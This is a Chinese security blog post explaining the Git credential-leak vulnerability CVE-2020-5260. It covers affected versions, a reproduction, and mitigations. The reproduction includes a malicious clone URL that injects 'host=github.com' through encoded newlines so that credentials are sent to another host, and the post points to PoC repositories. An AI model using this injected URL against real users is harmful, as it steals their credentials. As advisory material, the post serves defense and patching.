美文网首页
2020-04-17Git凭证泄露漏洞(CVE-2020-526

2020-04-17Git凭证泄露漏洞(CVE-2020-526

作者: thelostworldSec | 来源:发表于2020-04-17 02:40 被阅读0次

    一、漏洞描述

    Git使用凭证助手(credential helper)来帮助用户存储和检索凭证。但是当一个URL中包含经过编码的换行符时,可能将非预期的值注入到credential helper的协议流中。这将使恶意URL欺骗Git客户端去向攻击者发送主机凭据。当使用受影响版本 Git对恶意 URL 执行 git clone 命令时会触发该漏洞。

    二、相关版本情况

    受影响版本

    Git2.17.x <= 2.17.3Git2.18.x <= 2.18.2Git2.19.x <= 2.19.3Git2.20.x <= 2.20.2Git2.21.x <= 2.21.1Git2.22.x <= 2.22.2Git2.23.x <= 2.23.1Git2.24.x <= 2.24.1Git2.25.x <= 2.25.2Git2.26.x <= 2.26.0

    不受影响版本

    Git2.17.4Git2.18.3Git2.19.4Git2.20.3Git2.21.2Git2.22.3Git2.23.2Git2.24.2Git2.25.3Git2.26.1

    三、漏洞复现演示

    git在执行类似"git clone https://example.com" 这样的命令时,会请求使用协议"https"存储主机"example.com"的凭据,并在远程端请求身份验证时将返回的凭据附加到发出的请求中

    gitclone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https'

    执行克隆项目

    获取到git的凭证

    四、漏洞修复

    官方已发布修复了漏洞的新版本,建议受影响用户及时下载更新。

    https://github.com/git/git/releases

    另外,还提供了其他方法解决或规避该问题:

    1、禁用credential helper

    git config --unsetcredential.helpergit config --global--unsetcredential.helpergit config --system --unsetcredential.helper

    2、提防恶意URL

    1)git clone时检查URL的主机名和用户名部分是否存在编码的换行符(%0a)或凭据协议注入的证据(例如host=github.com)

    2)避免将子模块与不受信任的仓库一起使用(不要使用 clone –recurse-submodules;只有在检查.gitmodules中找到url之后,才使用git submodule update)。

    3)避免对不信任的URL执行 git clone。

    参考链接:

    http://blog.nsfocus.net/git-0416/

    https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

    https://github.com/brompwnie/cve-2020-5260

    https://github.com/sv3nbeast/CVE-2020-5260

    后台回复“git”可获取演示poc

    免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

    公众号:

    thelostworld:

    个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

    个人简书:https://www.jianshu.com/u/bf0e38a8d400

    相关文章

      网友评论

          本文标题:2020-04-17Git凭证泄露漏洞(CVE-2020-526

          本文链接:https://www.haomeiwen.com/subject/yadsvhtx.html